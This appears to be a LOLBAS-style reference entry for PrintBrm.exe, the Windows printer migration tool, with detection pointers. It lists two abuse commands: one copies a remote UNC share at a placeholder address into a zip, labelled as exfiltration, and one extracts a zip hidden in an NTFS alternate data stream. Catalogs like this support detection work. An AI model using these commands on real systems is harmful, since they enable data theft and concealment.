

Download (Compression) Alternate data streams (Compression)

Printer Migration Command-Line Tool

Paths:

C:\Windows\System32\spool\tools\PrintBrm.exe

Resources:

https://twitter.com/elliotkillick/status/1404117015447670800

Acknowledgements:

• Elliot Killick (@elliotkillick)

Detections:

- Sigma: <u>proc_creation_win_lolbin_printbrm.yml</u>
- IOC: PrintBrm.exe should not be run on a normal workstation

Download

Create a ZIP file from a folder in a remote drive

PrintBrm -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip

Use case: Exfiltrate the contents of a remote folder on a UNC share into a zip file

Privileges required: User

Operating systems: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1105: Ingress Tool Transfer

Tags: Type: Compression

Alternate data streams

Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder

PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder

Use case: Decompress and extract a ZIP file stored on an alternate data stream to a new folder

Privileges required: User

Operating systems: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1564.004: NTFS File Attributes

Tags: Type: Compression

, in